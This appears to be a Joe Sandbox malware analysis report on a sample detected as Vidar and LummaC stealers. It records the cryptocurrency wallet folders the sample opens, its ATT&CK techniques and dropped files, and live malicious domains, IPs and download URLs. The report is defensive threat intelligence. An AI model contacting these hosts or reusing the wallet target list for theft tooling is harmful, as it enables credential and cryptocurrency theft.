Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\backups\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Source: Yara match	File source: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6628, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: 11.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.KEGIDHJKKJ.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000A.00000002.2180254096.0000000000D2D000.00000004.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2205515395.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.91dad8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.MSBuild.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.91dad8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.f1r6P3j3g7.exe.8f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: f1r6P3j3g7.exe PID: 6532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MSBuild.exe PID: 6628, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD90C40 sqlite3_bind_zeroblob,	3_2_6CD90C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD90D60 sqlite3_bind_parameter_name,	3_2_6CD90D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCB8EA0 sqlite3_clear_bindings,	3_2_6CCB8EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CD90B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	3_2_6CD90B40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Code function: 3_2_6CCB6410 bind,WSAGetLastError,	3_2_6CCB6410

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	511 Process Injection	3 Obfuscated Files or Information	1 Credentials in Registry	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	4 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	65 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	161 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	511 Process Injection	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
f1r6P3j3g7.exe	100%	Avira	HEUR/AGEN.1310458
f1r6P3j3g7.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	100%	Avira	HEUR/AGEN.1310458
C:\ProgramData\KEGIDHJKKJ.exe	100%	Avira	HEUR/AGEN.1310458
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\a43486128347[1].exe	100%	Joe Sandbox ML
C:\ProgramData\KEGIDHJKKJ.exe	100%	Joe Sandbox ML
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\sql[1].dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://steamcommunity.com/profiles/76561199780418869	100%	URL Reputation	malware
http://cowod.hopto.org_DEBUG.zip/c	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://t.me/ae5ed	100%	URL Reputation	malware
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	unknown
wickedneatr.sbs	188.114.96.3	true	true	unknown
cowod.hopto.org	45.132.206.251	true	true	unknown
nsdm.cumpar-auto-orice-tip.ro	147.45.44.104	true	false	unknown
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	unknown
lade.petperfectcare.com	95.164.90.97	true	true	unknown
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false	unknown
frizzettei.sbs	unknown	unknown	true	unknown
laddyirekyi.sbs	unknown	unknown	true	unknown
bemuzzeki.sbs	unknown	unknown	true	unknown
invinjurhey.sbs	unknown	unknown	true	unknown
isoplethui.sbs	unknown	unknown	true	unknown
198.187.3.20.in-addr.arpa	unknown	unknown	false	unknown
exilepolsiy.sbs	unknown	unknown	true	unknown
exemplarou.sbs	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
frizzettei.sbs	true		unknown
http://lade.petperfectcare.com/mozglue.dll	true		unknown
laddyirekyi.sbs	true		unknown
isoplethui.sbs	true		unknown
http://lade.petperfectcare.com/nss3.dll	true		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe	false		unknown
https://steamcommunity.com/profiles/76561199780418869	true	URL Reputation: malware	unknown
invinjurhey.sbs	true		unknown
http://cowod.hopto.org/	true		unknown
exilepolsiy.sbs	true		unknown
https://wickedneatr.sbs/api	true		unknown
http://lade.petperfectcare.com/sql.dll	true		unknown
http://lade.petperfectcare.com/	true		unknown
http://lade.petperfectcare.com/msvcp140.dll	true		unknown
http://lade.petperfectcare.com/freebl3.dll	true		unknown
http://lade.petperfectcare.com/softokn3.dll	true		unknown
bemuzzeki.sbs	true		unknown
exemplarou.sbs	true		unknown
http://lade.petperfectcare.com/vcruntime140.dll	true		unknown
wickedneatr.sbs	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ECGIII.3.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	HJEHIJ.3.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	ECGIII.3.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com/nss3.dllZ_	MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com/msvcp140.dll2	MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wickedneatr.sbs/pi	MSBuild.exe, 0000000B.00000002.2205846539.0000000001173000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com:80t-Disposition:	MSBuild.exe, 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com/mozglue.dllC	MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ECGIII.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	MSBuild.exe, 00000003.00000002.2181758591.00000000173BA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp, GIIEGH.3.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com:80/sql.dll	MSBuild.exe, 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://frizzettei.sbs/apiwDVP	MSBuild.exe, 0000000B.00000002.2205846539.000000000115F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe1kkkk	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com/softokn3.dllb	MSBuild.exe, 00000003.00000002.2175828757.0000000000E08000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org_DEBUG.zip/c	f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	JKECFC.3.dr	false		unknown
http://cowod.hopto.	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	GIIEGH.3.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ECGIII.3.dr	false	URL Reputation: safe	unknown
http://cowod.hopto	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://frizzettei.sbs/api	MSBuild.exe, 0000000B.00000002.2205846539.000000000115F000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://cowod.EBFIIECAKFHI	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.org/S	MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe-	MSBuild.exe, 00000003.00000002.2175828757.0000000000E65000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com:80	f1r6P3j3g7.exe, f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	false		unknown
http://www.sqlite.org/copyright.html.	MSBuild.exe, 00000003.00000002.2188526414.000000001D69D000.00000002.00001000.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2182419932.00000000176F7000.00000004.00000020.00020000.00000000.sdmp, sql[1].dll.3.dr	false	URL Reputation: safe	unknown
http://cowod.hoptoECAKFHI	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://t.me/ae5ed	f1r6P3j3g7.exe, f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://www.mozilla.com/en-US/blocklist/	MSBuild.exe, MSBuild.exe, 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, mozglue[1].dll.3.dr, mozglue.dll.3.dr	false		unknown
https://mozilla.org0/	MSBuild.exe, 00000003.00000002.2208972905.000000003B966000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2191931975.0000000023BAE000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2203639910.000000002FA8B000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2188979014.000000001DC31000.00000004.00000020.00020000.00000000.sdmp, nss3[1].dll.3.dr, softokn3[1].dll.3.dr, softokn3.dll.3.dr, mozglue[1].dll.3.dr, freebl3[1].dll.3.dr, nss3.dll.3.dr, mozglue.dll.3.dr, freebl3.dll.3.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ECGIII.3.dr	false		unknown
http://nsdm.cumpar-auto-orice-tip.ro/ldms/a43486128347.exe=	MSBuild.exe, 00000003.00000002.2175828757.0000000000E65000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ECGIII.3.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	false		unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.orgCFH	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	MSBuild.exe, 00000003.00000002.2181758591.00000000173BA000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp, GIIEGH.3.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016ost.exe	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://lade.petperfectcare.com/freebl3.dllg	MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	ECGIII.3.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	HJEHIJ.3.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com/softokn3.dllO	MSBuild.exe, 00000003.00000002.2175828757.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://wickedneatr.sbs/cDWE	MSBuild.exe, 0000000B.00000002.2205846539.0000000001153000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	ECGIII.3.dr	false	URL Reputation: safe	unknown
https://wickedneatr.sbs:443/api	MSBuild.exe, 0000000B.00000002.2205846539.0000000001186000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	MSBuild.exe, 00000003.00000002.2175828757.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000EC5000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000003.00000002.2175828757.0000000000ECF000.00000004.00000020.00020000.00000000.sdmp, JKECFC.3.dr	false	URL Reputation: safe	unknown
http://lade.petperfectcare.com:80nfwqnfwovfdkhttps://steamcommunity.com/profiles/76561199780418869u5	f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true		unknown
http://cowod.hopto.CAKFHI	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
http://cowod.hopto.orga535a6c5ent-Disposition:	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org	HJEHIJ.3.dr	false	URL Reputation: safe	unknown
http://cowod.hopto.orgare.com:80	MSBuild.exe, 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	GIIEGH.3.dr	false	URL Reputation: safe	unknown
https://t.me/ae5edu55uhttps://steamcommunity.com/profiles/76561199780418869sql.dllsqlp.dllMozilla/5.	f1r6P3j3g7.exe, 00000000.00000002.1815003832.000000000091D000.00000004.00000001.01000000.00000003.sdmp, MSBuild.exe, 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ECGIII.3.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
188.114.96.3	wickedneatr.sbs	European Union	13335	CLOUDFLARENETUS	true
95.164.90.97	lade.petperfectcare.com	Gibraltar	39762	VAKPoltavaUkraineUA	true
147.45.44.104	nsdm.cumpar-auto-orice-tip.ro	Russian Federation	2895	FREE-NET-ASFREEnetEU	false
45.132.206.251	cowod.hopto.org	Russian Federation	59731	LIFELINK-ASRU	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1528299
Start date and time:	2024-10-07 18:42:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 23s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	f1r6P3j3g7.exe renamed because original name is a hash value
Original Sample Name:	8351aa212d7278c381ebe13f2a435ad9.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@19/40@13/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 94% Number of executed functions: 98 Number of non-executed functions: 220
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 40.126.32.76, 40.126.32.134, 40.126.32.136, 40.126.32.138, 20.190.160.14, 20.190.160.20, 40.126.32.72, 40.126.32.68, 199.232.214.172, 192.229.221.95, 52.168.117.173, 4.175.87.197, 20.3.187.198, 13.85.23.206, 4.245.163.56, 52.149.20.212, 52.182.143.212
